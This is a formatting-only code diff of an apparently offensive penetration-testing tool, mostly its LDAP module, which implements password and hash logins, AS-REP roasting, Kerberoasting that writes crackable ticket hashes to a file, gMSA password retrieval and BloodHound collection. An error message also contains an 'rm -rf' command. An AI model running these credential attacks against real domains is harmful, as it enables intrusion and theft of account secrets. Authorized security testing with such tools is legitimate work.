@ -29,9 +29,7 @@ def parse_nmap_xml(nmap_output_file, protocol):
ip = host["address"][0]["@addr"]
for port in host["ports"]["port"]:
if port["state"]["@state"] == "open":
if "service" in port and (
port["service"]["@name"] in protocol_dict[protocol]["services"]
):
if "service" in port and (port["service"]["@name"] in protocol_dict[protocol]["services"]):
if ip not in targets:
targets.append(ip)
elif port["@portid"] in protocol_dict[protocol]["ports"]:

View File

@ -7,9 +7,7 @@ TMP_PATH = os.path.join("/tmp", "cme_hosted")
if os.name == "nt":
TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\cme_hosted"
if hasattr(sys, "getandroidapilevel"):
TMP_PATH = os.path.join(
"/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted"
)
TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "cme_hosted")
WS_PATH = os.path.join(CME_PATH, "workspaces")
CERT_PATH = os.path.join(CME_PATH, "cme.pem")
CONFIG_PATH = os.path.join(CME_PATH, "cme.conf")

View File

@ -9,17 +9,13 @@ from ftplib import FTP, error_reply, error_temp, error_perm, error_proto
class ftp(connection):
@staticmethod
def proto_args(parser, std_parser, module_parser):
ftp_parser = parser.add_parser(
"ftp", help="own stuff using FTP", parents=[std_parser, module_parser]
)
ftp_parser = parser.add_parser("ftp", help="own stuff using FTP", parents=[std_parser, module_parser])
ftp_parser.add_argument(
"--no-bruteforce",
action="store_true",
help="No spray when using file for username and password (user1 => password1, user2 => password2",
)
ftp_parser.add_argument(
"--port", type=int, default=21, help="FTP port (default: 21)"
)
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
ftp_parser.add_argument(
"--continue-on-success",
action="store_true",

View File

@ -47,19 +47,10 @@ class database:
def reflect_tables(self):
with self.db_engine.connect() as conn:
try:
self.CredentialsTable = Table(
"credentials", self.metadata, autoload_with=self.db_engine
)
self.HostsTable = Table(
"hosts", self.metadata, autoload_with=self.db_engine
)
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
)
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
exit()
def shutdown_db(self):

View File

@ -6,12 +6,7 @@ from cme.cmedb import DatabaseNavigator, print_help
class navigator(DatabaseNavigator):
def do_clear_database(self, line):
if (
input(
"This will destroy all data in the current database, are you SURE you want to run this? (y/n): "
)
== "y"
):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):

View File

@ -139,9 +139,7 @@ def get_conditional_action(baseAction):
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super(ConditionalAction, self).__call__(
parser, namespace, values, option_string
)
super(ConditionalAction, self).__call__(parser, namespace, values, option_string)
return ConditionalAction
@ -171,9 +169,7 @@ class ldap(connection):
@staticmethod
def proto_args(parser, std_parser, module_parser):
ldap_parser = parser.add_parser(
"ldap", help="own stuff using LDAP", parents=[std_parser, module_parser]
)
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
ldap_parser.add_argument(
"-H",
"--hash",
@ -223,15 +219,9 @@ class ldap(connection):
)
no_smb_arg.make_required = [domain_arg]
egroup = ldap_parser.add_argument_group(
"Retrevie hash on the remote DC", "Options to get hashes from Kerberos"
)
egroup.add_argument(
"--asreproast", help="Get AS_REP response ready to crack with hashcat"
)
egroup.add_argument(
"--kerberoasting", help="Get TGS ticket ready to crack with hashcat"
)
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
egroup.add_argument("--kerberoasting", help="Get TGS ticket ready to crack with hashcat")
vgroup = ldap_parser.add_argument_group(
"Retrieve useful information on the domain",
@ -252,34 +242,20 @@ class ldap(connection):
action="store_true",
help="Get objets that had the value adminCount=1",
)
vgroup.add_argument(
"--users", action="store_true", help="Enumerate enabled domain users"
)
vgroup.add_argument(
"--groups", action="store_true", help="Enumerate domain groups"
)
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
ggroup = ldap_parser.add_argument_group(
"Retrevie gmsa on the remote DC", "Options to play with gmsa"
)
ggroup.add_argument(
"--gmsa", action="store_true", help="Enumerate GMSA passwords"
)
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
ggroup.add_argument(
"--gmsa-convert-id",
help="Get the secret name of specific gmsa or all gmsa if no gmsa provided",
)
ggroup.add_argument(
"--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA"
)
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
bgroup = ldap_parser.add_argument_group(
"Bloodhound scan", "Options to play with bloodhoud"
)
bgroup.add_argument(
"--bloodhound", action="store_true", help="Perform bloodhound scan"
)
bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud")
bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan")
bgroup.add_argument("-ns", "--nameserver", help="Custom DNS IP")
bgroup.add_argument(
"-c",
@ -313,9 +289,7 @@ class ldap(connection):
if proto == "ldaps":
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
self.logger.debug(
f"Even if the port is open, LDAPS may not be configured"
)
self.logger.debug(f"Even if the port is open, LDAPS may not be configured")
else:
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
return [None, None, None]
@ -348,9 +322,7 @@ class ldap(connection):
self.logger.info(f"Skipping item, cannot process due to error {e}")
except OSError as e:
return [None, None, None]
self.logger.debug(
f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}"
)
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
return [target, target_domain, base_dn]
def get_os_arch(self):
@ -389,9 +361,7 @@ class ldap(connection):
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
response_value = search_result["responseValue"]
if response_value.hasValue():
value = response_value.asOctets().decode(response_value.encoding)[
2:
]
value = response_value.asOctets().decode(response_value.encoding)[2:]
return value.split("\\")[1]
return ""
@ -417,11 +387,7 @@ class ldap(connection):
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = (
self.conn.isSigningRequired()
if self.smbv1
else self.conn._SMBConnection._Connection["RequireSigning"]
)
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.os_arch = self.get_os_arch()
if not self.domain:
@ -440,9 +406,7 @@ class ldap(connection):
# Re-connect since we logged off
self.create_conn_obj()
self.output_filename = os.path.expanduser(
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.output_filename = self.output_filename.replace(":", "-")
def print_host_info(self):
@ -455,9 +419,7 @@ class ldap(connection):
else:
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
self.logger.display(
f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})"
)
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})")
self.logger.extra["protocol"] = "LDAP"
# self.logger.display(self.endpoint)
return True
@ -529,17 +491,13 @@ class ldap(connection):
self.check_if_admin()
used_ccache = (
" from ccache" if useCache else f":{process_secret(kerb_pass)}"
)
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
# out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = (
"636" if (self.args.gmsa or self.args.port == 636) else "389"
)
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -555,9 +513,7 @@ class ldap(connection):
return False
except SessionError as e:
error, desc = e.getErrorString()
used_ccache = (
" from ccache" if useCache else f":{process_secret(kerb_pass)}"
)
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
self.logger.fail(
f"{self.domain}\\{self.username}{used_ccache} {str(error)}",
color="magenta" if error in ldap_error_status else "red",
@ -576,9 +532,7 @@ class ldap(connection):
# Connect to LDAPS
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
self.ldapConnection = ldap_impacket.LDAPConnection(
ldaps_url, self.baseDN
)
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.kerberosLogin(
username,
password,
@ -603,9 +557,7 @@ class ldap(connection):
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(
self.username, self.domain, self.logger, self.config
)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
@ -649,18 +601,14 @@ class ldap(connection):
ldap_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
self.ldapConnection.login(
self.username, self.password, self.domain, self.lmhash, self.nthash
)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = (
"636" if (self.args.gmsa or self.args.port == 636) else "389"
)
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -674,9 +622,7 @@ class ldap(connection):
# Connect to LDAPS
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
self.ldapConnection = ldap_impacket.LDAPConnection(
ldaps_url, self.baseDN
)
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
@ -693,32 +639,24 @@ class ldap(connection):
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(
self.username, self.domain, self.logger, self.config
)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta"
if (error_code in ldap_error_status and error_code != 1)
else "red",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta"
if (error_code in ldap_error_status and error_code != 1)
else "red",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
)
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def hash_login(self, domain, username, ntlm_hash):
@ -756,17 +694,13 @@ class ldap(connection):
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username, self.password, self.domain, self.lmhash, self.nthash
)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = (
"636" if (self.args.gmsa or self.args.port == 636) else "389"
)
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -779,9 +713,7 @@ class ldap(connection):
# We need to try SSL
ldaps_url = f"{proto}://{self.target}"
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
self.ldapConnection = ldap_impacket.LDAPConnection(
ldaps_url, self.baseDN
)
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
self.ldapConnection.login(
self.username,
self.password,
@ -798,40 +730,30 @@ class ldap(connection):
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(
self.username, self.domain, self.logger, self.config
)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta"
if (error_code in ldap_error_status and error_code != 1)
else "red",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color="magenta"
if (error_code in ldap_error_status and error_code != 1)
else "red",
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
)
return False
except OSError as e:
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
)
self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
def create_smbv1_conn(self):
self.logger.debug(f"Creating smbv1 connection object")
try:
self.conn = SMBConnection(
self.host, self.host, None, 445, preferredDialect=SMB_DIALECT
)
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
self.smbv1 = True
if self.conn:
self.logger.debug(f"SMBv1 Connection successful")
@ -885,19 +807,8 @@ class ldap(connection):
identifier_authority = hex(identifier_authority)
# loop over the count of small endians
sub_authority = "-" + "-".join(
[
str(
int.from_bytes(
sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little"
)
)
for i in range(sub_authorities)
]
)
object_sid = (
"S-" + str(revision) + "-" + str(identifier_authority) + sub_authority
)
sub_authority = "-" + "-".join([str(int.from_bytes(sid[8 + (i * 4) : 12 + (i * 4)], byteorder="little")) for i in range(sub_authorities)])
object_sid = "S-" + str(revision) + "-" + str(identifier_authority) + sub_authority
return object_sid
except Exception:
pass
@ -916,15 +827,7 @@ class ldap(connection):
self.sid_domain = "-".join(sid.split("-")[:-1])
# 2. get all group cn name
search_filter = (
"(|(objectSid="
+ self.sid_domain
+ "-512)(objectSid="
+ self.sid_domain
+ "-544)(objectSid="
+ self.sid_domain
+ "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
)
search_filter = "(|(objectSid=" + self.sid_domain + "-512)(objectSid=" + self.sid_domain + "-544)(objectSid=" + self.sid_domain + "-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
attributes = ["distinguishedName"]
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
@ -933,22 +836,10 @@ class ldap(connection):
continue
for attribute in item["attributes"]:
if str(attribute["type"]) == "distinguishedName":
answers.append(
str(
"(memberOf:1.2.840.113556.1.4.1941:="
+ attribute["vals"][0]
+ ")"
)
)
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")"))
# 3. get member of these groups
search_filter = (
"(&(objectCategory=user)(sAMAccountName="
+ self.username
+ ")(|"
+ "".join(answers)
+ "))"
)
search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))"
attributes = [""]
resp = self.search(search_filter, attributes, sizeLimit=0)
answers = []
@ -975,9 +866,7 @@ class ldap(connection):
return resp
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
self.logger.fail(
"sizeLimitExceeded exception caught, giving up and processing the data received"
)
self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
@ -1049,11 +938,7 @@ class ldap(connection):
if self.password == "" and self.nthash == "" and self.kerberos is False:
return False
# Building the search filter
search_filter = (
"(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)"
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))"
% (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
)
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
attributes = [
"sAMAccountName",
"pwdLastSet",
@ -1090,20 +975,12 @@ class ldap(connection):
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append(
[
@ -1133,10 +1010,7 @@ class ldap(connection):
def kerberoasting(self):
# Building the search filter
searchFilter = (
"(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)"
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
)
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
attributes = [
"servicePrincipalName",
"sAMAccountName",
@ -1171,10 +1045,7 @@ class ldap(connection):
userAccountControl = str(attribute["vals"][0])
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
delegation = "unconstrained"
elif (
int(userAccountControl)
& UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
):
elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = "constrained"
elif str(attribute["type"]) == "memberOf":
memberOf = str(attribute["vals"][0])
@ -1182,29 +1053,19 @@ class ldap(connection):
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "servicePrincipalName":
for spn in attribute["vals"]:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
self.logger.debug(
f"Bypassing disabled account {sAMAccountName} "
)
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
else:
for spn in SPNs:
answers.append(
@ -1218,9 +1079,7 @@ class ldap(connection):
]
)
except Exception as e:
cme_logger.error(
f"Skipping item, cannot process due to error {str(e)}"
)
cme_logger.error(f"Skipping item, cannot process due to error {str(e)}")
pass
if len(answers) > 0:
@ -1240,9 +1099,7 @@ class ldap(connection):
try:
principalName = Principal()
principalName.type = (
constants.PrincipalNameType.NT_MS_PRINCIPAL.value
)
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
@ -1260,13 +1117,9 @@ class ldap(connection):
sAMAccountName,
self.targetDomain + "/" + sAMAccountName,
)
self.logger.highlight(
f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}"
)
self.logger.highlight(f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}")
self.logger.highlight(f"{r}")
with open(
self.args.kerberoasting, "a+"
) as hash_kerberoasting:
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
dejavue.append(sAMAccountName)
except Exception as e:
@ -1315,20 +1168,12 @@ class ldap(connection):
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append(
[
@ -1369,9 +1214,7 @@ class ldap(connection):
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
self.logger.debug(
"sizeLimitExceeded exception caught, giving up and processing the data received"
)
self.logger.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
@ -1406,20 +1249,12 @@ class ldap(connection):
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append(
[
@ -1433,9 +1268,7 @@ class ldap(connection):
)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(
f"Skipping item, cannot process due to error {str(e)}"
)
self.logger.debug(f"Skipping item, cannot process due to error {str(e)}")
pass
if len(answers) > 0:
self.logger.debug(answers)
@ -1481,20 +1314,12 @@ class ldap(connection):
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(
datetime.fromtimestamp(
self.getUnixTime(int(str(attribute["vals"][0])))
)
)
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append(
[
@ -1507,9 +1332,7 @@ class ldap(connection):
)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(
f"Skipping item, cannot process due to error {str(e)}"
)
self.logger.debug(f"Skipping item, cannot process due to error {str(e)}")
pass
if len(answers) > 0:
self.logger.debug(answers)
@ -1560,9 +1383,7 @@ class ldap(connection):
gmsa_account_name = (domain_name + account_name).upper()
self.logger.debug(f"GMSA name for {gmsa_account_name}")
bin_account_name = gmsa_account_name.encode("utf-16le")
bin_hash = hmac.new(
bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256
).digest()
bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest()
hex_letters = "0123456789abcdef"
str_hash = ""
for b in bin_hash:
@ -1586,29 +1407,17 @@ class ldap(connection):
)
if gmsa_accounts:
answers = []
self.logger.debug(
f"Total of records returned {len(gmsa_accounts):d}"
)
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts:
if (
isinstance(item, ldapasn1_impacket.SearchResultEntry)
is not True
):
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
if (
self.decipher_gmsa_name(
self.domain.split(".")[0], sAMAccountName[:-1]
)
== self.args.gmsa_convert_id
):
self.logger.highlight(
f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}"
)
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
self.logger.highlight(f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}")
break
else:
self.logger.fail("No string provided :'(")
@ -1629,26 +1438,16 @@ class ldap(connection):
)
if gmsa_accounts:
answers = []
self.logger.debug(
f"Total of records returned {len(gmsa_accounts):d}"
)
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts:
if (
isinstance(item, ldapasn1_impacket.SearchResultEntry)
is not True
):
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
if (
self.decipher_gmsa_name(
self.domain.split(".")[0], sAMAccountName[:-1]
)
== gmsa_id
):
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == gmsa_id:
gmsa_id = sAMAccountName
break
# convert to ntlm
@ -1681,14 +1480,10 @@ class ldap(connection):
dns_tcp=False,
dns_timeout=3,
)
collect = resolve_collection_methods(
"Default" if not self.args.collection else self.args.collection
)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
return
self.logger.highlight(
"Resolved collection methods: %s", ", ".join(list(collect))
)
self.logger.highlight("Resolved collection methods: %s", ", ".join(list(collect)))
self.logger.debug("Using DNS to retrieve domain information")
ad.dns_resolve(domain=self.domain)
@ -1713,9 +1508,7 @@ class ldap(connection):
exclude_dcs=False,
)
self.logger.highlight(
f"Compressing output into {self.output_filename}bloodhound.zip"
)
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
list_of_files = os.listdir(os.getcwd())
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
for each_file in list_of_files:

View File

@ -18,21 +18,15 @@ class BloodHound(object):
self.proto_logger(port, hostname, host)
def proto_logger(self, port, hostname, host):
self.logger = CMEAdapter(
extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}
)
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
def connect(self):
if len(self.ad.dcs()) == 0:
self.logger.fail(
"Could not find a domain controller. Consider specifying a domain and/or DNS server."
)
self.logger.fail("Could not find a domain controller. Consider specifying a domain and/or DNS server.")
sys.exit(1)
if not self.ad.baseDN:
self.logger.fail(
"Could not figure out the domain to query. Please specify this manually with -d"
)
self.logger.fail("Could not figure out the domain to query. Please specify this manually with -d")
sys.exit(1)
pdc = self.ad.dcs()[0]
@ -87,9 +81,7 @@ class BloodHound(object):
